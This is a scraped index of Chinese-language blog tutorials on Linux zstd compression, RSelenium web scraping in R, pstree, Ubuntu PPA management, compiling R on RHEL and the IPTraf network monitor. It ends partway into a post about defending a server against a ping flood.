這個壓縮演算法標竿測試工具所測試出來的結果，在相同壓縮比（Ratio）之下，Zstandard 的壓縮與解壓縮速度是目前最優秀的。\nCompressor name Compression Decompress. Compr. size Ratio memcpy 8657 MB/s 8891 MB/s 211947520 100.00 brotli 2017-03-10 -0 225 MB/s 246 MB/s 78432913 37.01 libdeflate 0.7 -1 117 MB/s 570 MB/s 73318371 34.59 lz4 1.7.5 452 MB/s 2244 MB/s 100880800 47.60 lzf 3.6 -0 244 MB/s 550 MB/s 105682088 49.86 lzo1x 2.09 -1 394 MB/s 551 MB/s 100572537 47.45 snappy 1.1.4 327 MB/s 1075 MB/s 102146767 48.19 zlib 1.2.11 -1 66 MB/s 250 MB/s 77259029 36.45 zstd 1.1.4 -1 242 MB/s 636 MB/s 73654014 34.75 安裝 Zstandard 壓縮工具 若要在 Ubuntu Linux 中，可以使用 apt 來安裝 Zstandard 壓縮工具：\n# Ubuntu 安裝 zstd 壓縮工具 sudo apt-get install zstd 若在 CentOS Linux 中，則可使用 yum 安裝：\n# CentOS 安裝 zstd 壓縮工具 sudo yum install zstd 在其他的 Linux 系統下，若沒有可以直接安裝的套件，也可以從原始碼自行編譯安裝：\n# 下載 zstd 原始碼 git clone https://github.com/facebook/zstd.git # 編譯 zstd cd zstd make # 安裝 zstd sudo make install 壓縮檔案 zstd 指令的使用方式跟標準的 gzip 壓縮指令很類似，只是有些小地方不同而已。\n若要使用 zstd 壓縮檔案，可以加上 -z 參數，並指定檔案名稱：\n# 以 zstd 壓縮檔案 zstd -z my_file.txt my_file.txt : 14.81% (529929 =\u003e 78495 bytes, my_file.txt.zst) 經過 zstd 壓縮之後，會產生 *.zst 的壓縮檔。\nzstd 若不加任何參數，預設就是壓縮檔案的意思，所以若要壓縮檔案，可以不需要加任何參數：\n# 以 zstd 壓縮檔案 zstd my_file.txt 解壓縮檔案 若要解壓縮 zst 壓縮檔，可以使用 -d 參數：\n# 解壓縮 zst 檔案 zstd -d my_file.txt.zst my_file.txt.zst : 529929 bytes unzstd 指令亦可用來解壓縮 zst 壓縮檔，作用跟 zst 加上 -d 參數是相同的：\nunzstd my_file.txt.zst 刪除原始檔案 zstd 在壓縮或解壓縮資料時，預設會把原來的檔案或壓縮檔案保留下來，如想讓 zstd 自動刪除原始檔案，可以加上 --rm 參數：\n# 以 zstd 壓縮檔案（刪除原始檔案） zstd --rm my_file.txt # 解壓縮 zst 檔案（刪除原始檔案） zstd --rm -d my_file.txt.zst 多檔案與目錄 若要壓縮多個檔案或整個目錄，可以配合 tar 指令，先將檔案壓縮成單一檔案後，再用 zstd 壓縮：\n# 使用 tar 與 zstd 壓縮目錄 tar -I zstd -cvf my_folder.tar.zst my_folder/ # 使用 tar 與 zstd 壓縮多個檔案 tar -I zstd -cvf my_files.tar.zst file1.txt file2.txt 若要解壓縮 *.tar.zst 壓縮檔，可以執行：\n# 使用 tar 與 zstd 解壓縮 *.tar.zst 檔案 tar -I zstd -xvf my_folder.tar.zst 查看 zst 壓縮檔 若要查看 zst 壓縮檔案的內容，可以使用 -l 參數：\n# 查看 zst 壓縮檔案內容 zstd -l my_file.txt.zst =========================================== Printing information about compressed files =========================================== Number of files listed: 1 my_file.txt.zst (1/1): Skippable Non-Skippable Compressed Uncompressed Ratio Check Filename 0 1 76.66 KB 517.51 KB 6.751 XXH64 my_file.txt.zst 檢查 zst 壓縮檔內容是否正常 若要檢查 zst 壓縮檔案內容是否正常，可以使用 -t 參數：\n# 檢查 zst 壓縮檔內容是否正常 zstd -t my_file.txt.zst my_file.txt.zst : 529929 bytes -t 的效果就等同於 --decompress 加上 --stdout，然後將解壓縮的輸出丟棄。\n解壓縮並輸出 zst 壓縮檔案內容 若要直接解壓縮並輸出 zst 壓縮檔案內容，可以使用 -dcf 參數：\n# 解壓縮並輸出 zst 檔案內容 zstd -dcf my_file.txt.zst 或是使用 zstdcat 指令：\n# 解壓縮並輸出 zst 檔案內容 zstdcat my_file.txt.zst 指定壓縮層級 zstd 的壓縮層級範圍是 1 到 19，預設值是 3，我們可以接用數字參數調整這個設定值：\n# 指定壓縮層級 zstd -9 my_file.txt my_file.txt : 12.05% (529929 =\u003e 63862 bytes, my_file.txt.zst) 若在正常的壓縮層級還是不夠用的時候，可以使用 --ultra 參數提高壓縮層級上限，最高可以達到 22，不過在這種模式之下，壓縮與解壓縮時會需要大量的記憶體。\n多執行緒 如果資料比較多的時候，可以加上 -T 參數，並指定執行緒的數量，以多執行緒的方式平行進行壓縮或解壓縮工作：\n# 以多執行緒平行進行壓縮 zstd -T4 my_file.txt # 以多執行緒平行進行解壓縮 zstd -T4 -d my_file.txt.zst 若將執行緒數量指定為 0，則可自動使用所有的 CPU 核心進行平行的壓縮或解壓縮：\n# 自動使用所有 CPU 核心 zstd -T my_file.txt zstdmt 指令是 zstd 的多執行緒版本，等同於 zstd 加上 -T0 參數：\n# 自動使用所有 CPU 核心 zstdmt my_file.txt 標竿測試 如果想測試 zstd 在不同壓縮層級的效能，可以使用 -b 參數進行標竿測試，並指定想測試的壓縮層級：\n# 測試壓縮層級 5 的效能 zstd -b5 5#Synthetic 50% : 10000000 -\u003e 3271570 (3.057), 38.8 MB/s , 550.0 MB/s 實時（Real-time） 若在即時性的壓縮應用上，在執行 zstd 時可以加上 --priority=rt，將 zstd 壓縮指令的行程設定為實時（Real-time），讓壓縮工作盡可能加速：\n# 實時（Real-time）壓縮行程 zstd --priority=rt my_file.txt 顯示詳細輸出 若要讓 zstd 顯示更詳細的輸出資訊，可以加上 -v 參數：\n# 顯示詳細輸出 zstd -v my_file.txt.zst *** zstd command line interface 64-bits v1.3.1, by Yann Collet *** my_file.txt : 14.81% (529929 =\u003e 78495 bytes, my_file.txt.zst) zstd 還有許多其他的參數可以使用，關於其餘各種參數使用說明，可以參考 zstd 的線上手冊：\nman zstd 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/linux-zstd-fast-data-compression-tutorial/","summary":"\u003cp\u003e本篇介如何在 Linux 系統上安裝與使用 Zstd 這個快速壓縮與解壓縮工具，應用於即時性的資料壓縮工作。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/facebook/zstd\"\u003eZstandard\u003c/a\u003e（簡稱 Zstd）是由 facebook 所開發的一套資料壓縮演算法與工具，以開放原始碼的授權方式釋出，它的壓縮比與 DEFLATE 演算法差不多，但是壓縮與解壓縮的速度更快，適合用於即時性的資料壓縮工作，而目前 facebook 內部也正運用 Zstandard 處理各類大量資料的壓縮，是一個相當不錯的壓縮工具。\u003c/p\u003e","title":"Linux 安裝與使用 Zstd 快速壓縮、解壓縮工具教學"},{"content":"本篇介紹如何在 R 中透過 RSelenium 模組使用 Selenium 自動操控瀏覽器，下載並擷取網頁中的資料。\nRSelenium 是一個可以讓 R 程式透過 Selenium 操控瀏覽器的套件，它的功能非常強大，幾乎可以讓程式對瀏覽器進行任何操作，以下我們要介紹如何在 R 中使用 RSelenium，透過標準的 Google Chrome 或 Firefox 瀏覽器，擷取到最標準的網頁內容。\n安裝 RSelenium 套件 RSelenium 可以從 R 官方的 CRAN 套件庫下載安裝：\n# 從 CRAN 安裝 RSelenium install.packages(\u0026#34;RSelenium\u0026#34;) 或是從 GitHub 上面下載最新的版本來安裝：\n# 從 GitHub 安裝 RSelenium install.packages(\u0026#34;devtools\u0026#34;) devtools::install_github(\u0026#34;ropensci/RSelenium\u0026#34;) 安裝好之後，載入 RSelenium 套件：\n# 載入 RSelenium 套件 library(\u0026#34;RSelenium\u0026#34;) 若沒有錯誤訊息，就表示安裝完成了。\nWebDriver Selenium 是透過 WebDriver API 來操控瀏覽器的，所以在使用時必須先安裝對應瀏覽器的 WebDriver，目前支援 WebDriver 的瀏覽器有 Google Chrome 與 Firefox：\nGoogle Chrome 瀏覽器：ChromeDriver Firefox 瀏覽器：geckodriver ChromeDriver 與 geckodriver 這兩種 WebDriver 的使用方式都相同，首先從它們的官方網站依據自己的作業系統下載編譯好的 WebDriver 執行檔，以 Windows 作業系統來說，ChromeDriver 的執行檔為 chromedriver.exe，而 geckodriver 的執行檔則為 geckodriver.exe。\n下載 WebDriver 的執行檔之後，放在自己喜歡的固定位置，然後記下 WebDriver 的放置路徑，在下面的 Selenium 伺服器啟動時，指定這個路徑即可。\nSelenium 伺服器 從 Selenium 官方網站下載最新版的 Selenium JAR 檔，然後在 Windows 命令提示字元中，以 Java 執行此 JAR 檔，並且指定 chromedriver.exe 與 geckodriver.exe 的放置路徑，假設這兩個 WebDriver 都放在 D: 底下，則執行：\njava -Dwebdriver.chrome.driver=D:chromedriver.exe -Dwebdriver.gecko.driver=D:geckodriver.exe -jar selenium-server-standalone-3.12.0.jar 這裡我們同時指定 Google Chrome 與 Firefox 兩個瀏覽器的 WebDriver 位置，這樣的話在程式中就可以使用兩種瀏覽器，如果只使用一種瀏覽器的話，可以將沒用到的 WebDriver 省略。\n操控瀏覽器 安裝好並啟動了 Selenium 伺服器之後，接著就可以回到 R 中開始使用 RSelenium 套件操控瀏覽器了。\n首先載入 RSelenium 套件：\n# 載入 RSelenium 套件 library(\u0026#34;RSelenium\u0026#34;) 接著使用 remoteDriver 函數連接 Selenium 伺服器：\n# 連接 Selenium 伺服器，選用 Firefox 瀏覽器 remDr \u0026lt;- remoteDriver( remoteServerAddr = \u0026#34;localhost\u0026#34;, port = 4444, browserName = \u0026#34;firefox\u0026#34;) 預設的 Selenium 伺服器會開在 localhost 的 4444 連接埠，分別可用 remoteServerAddr 與 port 參數來指定，而 browserName 則是指定要使用的瀏覽器，如果慣用 Google Chrome 的人，可以指定為 chrome。\n連接 Selenium 伺服器之後，即可用 RSelenium 開啟瀏覽器：\n# 開啟瀏覽器 remDr$open() 以 RSelenium 開啟的 Firefox 瀏覽器，在外觀上看起來會跟正常開啟的 Firefox 瀏覽器有一些差異，網址列會有一個機器人的圖示，標示這個瀏覽器是由程式在控制的。\n若要瀏覽指定的網址，可以呼叫 navigate 函數：\n# 瀏覽 Google 首頁 remDr$navigate(\u0026#34;https://www.google.com.tw/\u0026#34;) 接著我們讓瀏覽器開啟另外一個網頁：\n# 瀏覽 Yahoo 首頁 remDr$navigate(\u0026#34;https://tw.yahoo.com/\u0026#34;) 若要讓瀏覽器回到上一頁，可以呼叫 goBack 函數：\n# 回到上一頁 remDr$goBack() 若要前往下一頁，則可以呼叫 goForward 函數：\n# 前往下一頁 remDr$goForward() 若要取得目前瀏覽器網址列中的網址，可以使用 getCurrentUrl 函數：\n# 取的目前網頁的網址 remDr$getCurrentUrl() [[1]] [1] \"https://tw.yahoo.com/\" 呼叫 refresh可以讓瀏覽器重新整理網頁：\n# 重新整理 remDr$refresh() 擷取網頁元素 在控制瀏覽器瀏覽網頁之後，我們可以進一步透過 RSelenium 擷取網頁中的元素與資料。這裡我們以 Google 搜尋 office 這個關鍵字的結果網頁作為示範：\n# 用 Google 搜尋 office 關鍵字 remDr$navigate(\u0026#34;https://www.google.com.tw/search?q=office\u0026#34;) 在擷取網頁元素時，主要的方法就是使用 findElement 這個函數，配合各種條件篩選出自己想要的結果，以下是常見的一些應用實例。\n以 id 擷取網頁元素 若要以指定的 id 擷取網頁元素，可以在呼叫 findElement 時，將 using 指定為 id，並將 value 指定為網頁元素的 id 屬性值。\n例如若要將網頁中 id 屬性值為 ires 的元素取出來，可以這樣寫：\n# 依據 ID 取得網頁元素 web.elem \u0026lt;- remDr$findElement(using = \u0026#34;id\u0026#34;, value = \u0026#34;ires\u0026#34;) 將網頁元素擷取出來之後，就可以對該元素進行各項操作，例如取得網頁元素的各種屬性值：\n# 取得網頁元素的 id 屬性值 web.elem$getElementAttribute(\u0026#34;id\u0026#34;) [[1]] [1] \"ires\" # 取得網頁元素的 data-async-context 屬性值 web.elem$getElementAttribute(\u0026#34;data-async-context\u0026#34;) [[1]] [1] \"query:office\" 或是取得網頁元素的文字內容：\n# 取得網頁元素的文字內容 web.elem$getElementText() [[1]] [1] \"Office 365 Login | Microsoft Officenhttps://www.office.com/n[略] 以 class 擷取網頁元素 若要使用網頁元素的 class 名稱來擷取網頁元素，可將 using 設定為 class name，並在 value 指定網頁元素的 class 名稱：\n# 依據 Class 取得網頁元素 web.elem \u0026lt;- remDr$findElement(using = \u0026#39;class name\u0026#39;, value = \u0026#34;r\u0026#34;) 取出的網頁元素，操作方式都是相同的：\n# 取得網頁元素的文字內容 web.elem$getElementText() [[1]] [1] \"Office 365 Login | Microsoft Office\" 尋找子元素 如果想在指定的元素中，繼續尋找更下層的子元素，可以使用 findChildElement。假設我們想以現有的 web.elem 為起始點，往下尋找超連結的元素（HTML 節點名稱為 a 的元素），可以這樣寫：\n# 從 web.elem 往下尋找超連結的元素 a.elem \u0026lt;- web.elem$findChildElement(using = \u0026#34;tag name\u0026#34;, value = \u0026#34;a\u0026#34;) 找到之後，傳回的元素也是用相同的方式操作：\n# 取出超連結的網址 a.elem$getElementAttribute(\u0026#34;href\u0026#34;) [[1]] [1] \"https://www.office.com/\" 擷取多個元素 在網頁中可能會有多個元素都傭有相同的 class 名稱，若要一次取出所有符合的元素，可以改用 findElements 函數，其法相同，但可以一次將所有的符合條件的結果以 list 的方式傳回：\n# 依據 Class 取得多個網頁元素 web.elem.list \u0026lt;- remDr$findElements(using = \u0026#39;class name\u0026#39;, value = \u0026#34;r\u0026#34;) 得到所有符合條件的元素之後，即可使用一般 list 處理方式，取出想要的資料：\n# 取出每個網頁元素的文字內容 unlist(lapply(web.elem.list, function(e) { e$getElementText() })) [1] \"Office 365 Login | Microsoft Office\" [2] \"Microsoft Office | 家用和辦公室用生產力工具\" [3] \"Office 產品- Microsoft Office\" [4] \"Office 下載 - Microsoft\" [5] \"微軟Office 2016 專業增強版(繁體中文下載+免費永久序號註冊) @ 呂 ...\" [6] \"UGAMail – Office 365\" [7] \"Office - Home | Facebook\" [8] \"My Account - Outlook.com\" [9] \"Office\" [10] \"The Office (U.S. TV series) - Wikipedia\" 以 CSS 選擇器擷取網頁元素 在實務上擷取網頁，最常使用的方式應該就是 CSS 選擇器，只要將 using 設定為 css selector，並在 value 中指定 CSS 選擇器的規則，即可快速篩選出指定的網頁元素：\n# 依據 CSS 選擇器取得網頁元素 web.elem.list \u0026lt;- remDr$findElements(using = \u0026#39;css selector\u0026#39;, value = \u0026#34;div.rc h3.r a\u0026#34;) 這我們取出每一個 Google 搜尋結果的超連結，並將實際的網址列出來：\n# 取出每個超連結的網址 unlist(lapply(web.elem.list, function(e) { e$getElementAttribute(\u0026#34;href\u0026#34;) })) [1] \"https://www.office.com/\" [2] \"https://products.office.com/zh-tw/home\" [3] \"https://products.office.com/zh-tw/products\" [4] \"https://www.microsoft.com/zh-tw/download/office.aspx\" [5] \"http://a4287604.pixnet.net/blog/post/201669981-%E5%BE%AE%E8%BB%9F-office-2016-%E5%B0%88%E6%A5%AD%E5%A2%9E%E5%BC%B7%E7%89%88-%28%E7%B9%81%E9%AB%94%E4%B8%AD%E6%96%87%E4%B8%8B%E8%BC%89%2B%E5%85%8D\" [6] \"https://ugamail.uga.edu/\" [7] \"https://www.facebook.com/Office/\" [8] \"https://office.live.com/start/MyAccount.aspx\" [9] \"https://visitoffice.com/\" [10] \"https://en.wikipedia.org/wiki/The_Office_(U.S._TV_series)\" 以 XPath 擷取網頁元素 # 依據 XPath 取得網頁元素 web.elem \u0026lt;- remDr$findElement(using = \u0026#39;xpath\u0026#39;, value = \u0026#34;//a[@href=\u0026#39;https://www.office.com/\u0026#39;]\u0026#34;) 找到之後，用相同的方式操作傳回的元素：\n# 取得網頁元素的文字內容 web.elem$getElementText() [[1]] [1] \"Office 365 Login | Microsoft Office\" 參考資料 RSelenium 如何獲取資料：擷取網頁內容（上） 如何獲取資料：擷取網頁內容（下） 張郎生活的筆記：利用R語言RSelenium控制瀏覽器 RSelenium: Basics ","permalink":"https://blog.gtwang.org/r/rselenium-r-selenium-browser-web-scraping-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 R 中透過 \u003ccode\u003eRSelenium\u003c/code\u003e 模組使用 Selenium 自動操控瀏覽器，下載並擷取網頁中的資料。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://cran.r-project.org/web/packages/RSelenium/index.html\"\u003eRSelenium\u003c/a\u003e 是一個可以讓 R 程式透過 \u003ca href=\"https://www.selenium.dev/\"\u003eSelenium\u003c/a\u003e 操控瀏覽器的套件，它的功能非常強大，幾乎可以讓程式對瀏覽器進行任何操作，以下我們要介紹如何在 R 中使用 RSelenium，透過標準的 Google Chrome 或 Firefox 瀏覽器，擷取到最標準的網頁內容。\u003c/p\u003e","title":"RSelenium：R 使用 Selenium 操控瀏覽器下載網頁資料"},{"content":"本篇介紹如何在 Linux 中使用 pstree 指令，以樹狀圖的方式顯示系統各行程之間的相關性。\n在管理 Linux 系統時，有時候會需要釐清多個行程（processes）之間的關係，這時候就可以使用 pstree 這個指令，以樹狀圖來呈現多個行程的關係圖。\n我自己最常遇到的問題就是在用多條 SSH 登入主機後，其中有一條 SSH 的網路斷了，想要把斷線的 SSH 相關的行程砍掉（kill），但是因為系統上的 SSH 登入行程有很多個，不是很容易判斷斷線 SSH 連線的 PID，若要確認正確的 PID，最方便的方式就是使用 pstree 來檢查。\npstree 指令基本用法 直接執行 pstree 不加任何參數的話，就會以樹狀圖顯示整個系統上每個行程之間的從屬關係：\npstree pstree 的輸出預設會將相同名稱的行程合併成一個節點來顯示，例如：\ninit-+-getty |-getty |-getty `-getty 合併之後，就會變成：\ninit---4*[getty] 另外大括號則是代表子執行緒的意思。\n顯示指令參數 如果要顯示每個行程指令的完整參數，可以加上 -a 參數：\npstree -a 顯示行程 ID（PID） 若要顯示每個行程的 ID（PID），可以加上 -p 參數：\npstree -p 加上 -p 參數之後，在輸出時就不會將相同名稱的行程合併了，所以輸出的樹狀圖看起來會比較長。\n以 PID 排序 pstree 的輸出預設會以行程的名稱來排序，若要以 PID 來排序，可以加上 -n 參數，而通常在這種狀況下，我們也會同時加上 -p 參數，顯示行程的 PID：\npstree -np 顯示特定使用者行程 若只想看某個特定使用者所執行的程式時，可以在 pstree 的參數中直接指定使用者的帳號名稱，這樣就會只顯示屬於該使用者的行程：\npstree gtwang 顯示特定 PID 行程 如果想要查看特定 PID 的行程，也可以在 pstree 的參數中指定 PID，這樣就會以該行程為起始點，顯示以下的行程樹狀圖，而通常在這種狀況下，我們也會同時加上 -p 參數，顯示行程的 PID：\npstree -p 2468 而如果想要查看該行程上面的父行程，可以再加上一個 -s 參數：\npstree -ps 2468 標示改變 UID 的行程 在大部分的狀況下，一個行程在建立子行程的時候，會維持相同的使用者 ID（UID），而在某些時候子行程的 UID 會改變，若想要在 pstree 的輸出中標示出改變 UID 的行程，可以加上 -u 參數。\npstree -u 加上 -u 參數之後，若遇到有變更 UID 的行程，就會以小括號標示新的使用者帳號名稱，例如 upstart(gtwang) 就是代表該行程的使用者變更為 gtwang。若沒有標示的行程，則代表沿用父行程的 UID。\n標示特定行程 若要在 pstree 的輸出中，以高亮度標示指定的行程，可以使用 -H 參數，並加上行程的 PID：\npstree -pH 1663 參考資料 HowtoForge 鳥哥的 Linux 私房菜 ","permalink":"https://blog.gtwang.org/linux/linux-pstree-command-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中使用 \u003ccode\u003epstree\u003c/code\u003e 指令，以樹狀圖的方式顯示系統各行程之間的相關性。\u003c/p\u003e\n\u003cp\u003e在管理 Linux 系統時，有時候會需要釐清多個行程（processes）之間的關係，這時候就可以使用 \u003ccode\u003epstree\u003c/code\u003e 這個指令，以樹狀圖來呈現多個行程的關係圖。\u003c/p\u003e","title":"Linux pstree 以樹狀圖顯示行程相關性指令教學"},{"content":"這裡介紹如何在 Ubuntu Linux 中新增與移除安裝軟體用的 PPA 個人套件庫。\nUbuntu Linux 系統下的軟體都是以 apt 的方式來管理的，一般來說絕大部分的套件都來自於 Ubuntu 官方的套件庫，而如果我們需要的套件沒有被官方的套件庫收錄，或是官方收錄的套件版本過舊，就可能會採用 PPA 個人套件庫的套件。\nPPA 是 Personal Package Archive 的縮寫，軟體開發者將原始碼上傳至 Launchpad 後，透過其線上編譯服務，產生預先編譯好的套件，提供使用者使用。由於 PPA 是屬於非官方的套件庫，所以通常軟體版本比較新，但穩定性也較差。\n新增 PPA 個人套件庫 通常新增 PPA 個人套件庫並不會有什麼問題，只要按照軟體開發者所提供的指令與說明，複製後再貼上執行，即可自動新增 PPA 並且安裝最新的軟體。\n以 NGINX Stable 的 PPA 來說，只要從它的網站上複製這兩行指令，貼上後執行之，即可新增 NGINX Stable 的 PPA：\nsudo add-apt-repository ppa:nginx/stable 事實上新增套件庫就是執行 add-apt-repository 這個指令，後面接著 PPA 個人套件庫的名稱即可，套件庫名稱的格式為 ppa:使用者名稱/PPA名稱，不過通常開發者都會直接給我們完整的指令，我們只要複製貼上然後執行即可。\n新增的 PPA 會存放在系統的 /etc/apt/sources.list.d/ 目錄下，也可以直接用文字編輯器去修改（但不建議這樣做，因為手動改比較麻煩）。\n新增了 NGINX Stable 的 PPA 之後，就可以利用一般的 apt 指令來安裝 NGINX 了：\nsudo apt-get update sudo apt-get install nginx 移除 PPA 個人套件庫 通常在移除 PPA 之前，會先把從 PPA 安裝的套件都先移除，例如完全移除 nginx 套件：\nsudo apt-get --purge remove nginx sudo apt-get --purge autoremove 若要移除已安裝的 PPA 個人套件庫，可以使用 add-apt-repository 加上 --remove 參數後，指定要移除的 PPA 名稱，例如若要移除上面新增的 NGINX Stable PPA，則可執行：\nsudo add-apt-repository --remove ppa:nginx/stable 這樣就完成 PPA 個人套件庫的移除動作了。\n參考資料；nixCraft\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-add-and-remove-ppa-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中新增與移除安裝軟體用的 PPA 個人套件庫。\u003c/p\u003e\n\u003cp\u003eUbuntu Linux 系統下的軟體都是以 apt 的方式來管理的，一般來說絕大部分的套件都來自於 Ubuntu 官方的套件庫，而如果我們需要的套件沒有被官方的套件庫收錄，或是官方收錄的套件版本過舊，就可能會採用 PPA 個人套件庫的套件。\u003c/p\u003e","title":"Ubuntu Linux 新增與移除 PPA 個人套件庫指令教學"},{"content":"本篇介紹如何在 Red Hat Enterprise Linux 7.3 系統中，自行編譯與安裝 R 語言執行環境。\nR 語言的安裝在大部分的 Linux 發行版中，都可以使用套件的方式安裝（例如 apt 或 yum 等），在某些特殊需求下才會需要使用自己編譯的方式來安裝（例如沒有管理者權限的時候）。\n以下我們以 Red Hat Enterprise Linux 7.3 的系統，示範自己從原始碼編譯並安裝 R 的過程，這種安裝方式可以自行調整各種安裝參數，可以在沒有管理者權限的情況下自行安裝。\n自行編譯 R 語言執行環境 首先從 R 的官方網站上下載最新的原始碼：\nwget https://cran.r-project.org/src/base/R-3/R-3.5.0.tar.gz 解壓縮下載下來的壓縮檔：\ntar zxvf R-3.5.0.tar.gz 進入 R 的原始碼目錄：\ncd R-3.5.0/ 查看一下 configure 所提供的參數有哪些：\n./configure --help 自己調整一下需要的參數，然後執行 configure：\n./configure --prefix=/opt/rproject/R-3.5.0 \\ --enable-R-shlib \\ --with-blas \\ --with-lapack \\ --enable-memory-profiling 其中的 --prefix 參數是指定 R 的安裝路徑，這一個參數是一定要設定的，其餘大部分的參數大概都不需要特別去調整。\n如果伺服器的 CPU 核心數很多的話，可以使用平行化的方式加快編譯速度。編譯之前，先看一下伺服器的 CPU 核心數：\nlscpu Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 40 [略] CPU(s) 這個欄位就是 CPU 的核心數，以我的這台伺服器來說是 40 核心。接著我使用 20 個 CPU 核心來平行編譯 R 的原始碼：\nmake -j20 編譯完成後，進行安裝：\nmake install 安裝完成後，測試 R 是否可以正常執行：\n/opt/rproject/R-3.5.0/bin/R 若可以正常使用，就表示已經裝好了。\n安裝套件 由於 R 的套件數量非常龐大，一般來說都是在需要的時候才會進行安裝，不會一開始把所有的套件裝上去，如果真的要一次把官方 CRAN 上面所有的套件裝上去的話，可以使用以下的 R 指令。\n# 取得已安裝的套件名稱 installed.pkgs \u0026lt;- installed.packages() installed.name \u0026lt;- names(installed.pkgs[,\u0026#39;Package\u0026#39;]) # 取得所有可安裝的套件名稱 available.name \u0026lt;- names(available.packages()[,1]) # 產生尚未安裝的套件名稱 install.name \u0026lt;- available.name[!available.name %in% installed.name] # 安裝所有尚未安裝的套件 install.packages(install.name) 一次安裝所有套件的話，請注意硬碟空間是否充足。\nBioconductor 安裝 Bioconductor 基本的核心套件：\nsource(\u0026#34;https://bioconductor.org/biocLite.R\u0026#34;) biocLite() 若要安裝指定的 Bioconductor 套件，可以使用以下 R 指令：\n# 安裝 GenomicFeatures 與 AnnotationDbi 這兩個 Bioconductor 套件 biocLite(c(\u0026#34;GenomicFeatures\u0026#34;, \u0026#34;AnnotationDbi\u0026#34;)) Bioconductor 所收錄的套件數量也是相當多，正常來說也是不會一次都把所有的套件都裝起來，若要一次安裝所有的套件，可以執行以下 R 指令：\n# 安裝所有 Bioconductor 套件 biocLite(all_group()) ","permalink":"https://blog.gtwang.org/linux/red-hat-enterprise-linux-compile-and-install-r-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Red Hat Enterprise Linux 7.3 系統中，自行編譯與安裝 R 語言執行環境。\u003c/p\u003e\n\u003cp\u003eR 語言的安裝在大部分的 Linux 發行版中，都可以使用套件的方式安裝（例如 apt 或 yum 等），在某些特殊需求下才會需要使用自己編譯的方式來安裝（例如沒有管理者權限的時候）。\u003c/p\u003e","title":"Red Hat Enterprise Linux 7.3 編譯與安裝 R 語言執行環境教學"},{"content":"這裡介紹如何在 Linux 系統上使用 IPTraf 網路流量監測工具，查看網路封包統計數據，診斷網路問題。\n在 Linux 系統上若想要監看即時的網路流量狀況，有許多的工具可以使用，不同的工具適用不同的狀況。iftop 可以讓我們看到即時網路連線的主幾與流量大小，但是無法看到通訊協定與細部的數據，如果需要看更詳細一點的資料，則可改用 IPTraf 這個工具。\nIPTraf 的角色大概就像是陽春版的 Wireshark，操作介面簡單、容易使用，支援各種常見的通訊協定（IP、TCP、UDP、ICMP、ARP 等），可以快速查看每條網路連線的通訊協定與封包統計數字，在網路問題的診斷上，是一個很好用的工具。\n安裝 IPTraf 若是 Debian 或 Ubuntu Linux，則可用 apt 安裝 iptraf 套件：\nsudo apt install iptraf CentOS Linux 則可用 yum 安裝 iptraf 套件：\nsudo yum install iptraf IPTraf 基本用法 由於 IPTraf 是低階的網路封包分析工具，所以要一定要有系統管理者權限才能執行：\nsudo iptraf 若在 CentOS Linux 中，其採用的版本是 IPTraf 的衍生版本 iptraf-ng：\nsudo iptraf-ng 執行 IPTraf 之後，就會看到這樣的操作畫面，接下來所有的操作就只要從選單中選擇即可，不需要打任何指令：\nIP Traffic Monitor IP traffic monitor 的功能可以查看每個 IP 位址的連線狀況，使用時要先選擇網路卡：\n接著就會根據 IP 位址與連接埠，顯示每條連線的封包統計數字。\nGeneral Interface Statistics General interface statistics 就是簡單的網路介面封包統計，通常是在伺服器有多張網路卡的時候，才會去看這個。\nDetailed Interface Statistics Detailed interface statistics 可以看到各種通訊協定的封包統計數字。\nStatistical Breakdowns Statistical breakdowns 可將封包做更細一點的區分。\n可依據封包大小來統計。\n或是依據通訊協定來分類。\nLAN Station Monitor LAN station monitor 適用來看區域網路之內，各個設備的 ARP 封包狀況。\nFilters Filters 可以讓我們自訂封包篩選規則，過濾掉沒用的資料，只顯示我們想看的部份。\nStep 1\n使用時先定義自己的篩選器（filter）。\nStep 2\n輸入篩選器的名稱（自己取一個適當的名稱）。\nStep 3\n輸入各種封包篩選條件。\nStep 4\n封包篩選的條件可以設定好多條，設定完成後即可按下 x 鍵離開。\nStep 5\n定義好封包篩選器之後，即可套用之。\nStep 6\n選擇要套用的篩選器名稱。\nStep 7\n套用篩選器之後，在開啟 IP traffic monitor 的時候，就只會顯示出符合條件的封包資料。\nConfiguration 在 Configuration 中可以調整一些細部的設定。\n參考資料 Tecmint Linux 技術手札 nixCraft ","permalink":"https://blog.gtwang.org/linux/iptraf-network-monitoring-utility-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上使用 IPTraf 網路流量監測工具，查看網路封包統計數據，診斷網路問題。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上若想要監看即時的網路流量狀況，有許多的工具可以使用，不同的工具適用不同的狀況。\u003ca href=\"/linux/iftop-linux-network-traffic-monitor/\"\u003eiftop\u003c/a\u003e 可以讓我們看到即時網路連線的主幾與流量大小，但是無法看到通訊協定與細部的數據，如果需要看更詳細一點的資料，則可改用 IPTraf 這個工具。\u003c/p\u003e","title":"IPTraf 網路流量監測工具使用教學"},{"content":"本篇紀錄我的伺服器關閉 Linux 的 ICMP 功能，避免封包洪流 Ping Flood 攻擊的過程。\n最近發現我的 Linode VPS 伺服器有異常的流量，檢查後發現是有人蓄意以密集的 ICMP 封包攻擊伺服器，也就是用常見的 Ping 一直送封包過來的意思，因為最近真的很忙，所以也不想做太多處理，索性直接關掉 Linux 的 ICMP 功能，把這些浪費網路資源的流量擋掉，以下是處理過程與紀錄。\n由於今天剛好在升級 Linode VPS，所以在處理升級的過程中，會特別觀察一下流量的狀況（下圖）。在處理 VPS 升級的過程中會將伺服器關機，所以中間會有一小段沒有流量，這是正常的，但是仔細看卻發現平常的流入的網路流量過高，又非常穩定，看起來就是有網路攻擊行為。\n再看一下整個月的流量圖，很明顯就可以看出這幾天的流量有異常增加。\n登入伺服器，用 iftop 看了一下，發現是一個台灣的 IP 一直有大量的網路流量。\n用 tcpdump 看一下網路封包的狀況：\ntcpdump -i eth0 host 112.104.32.195 從 tcpdump 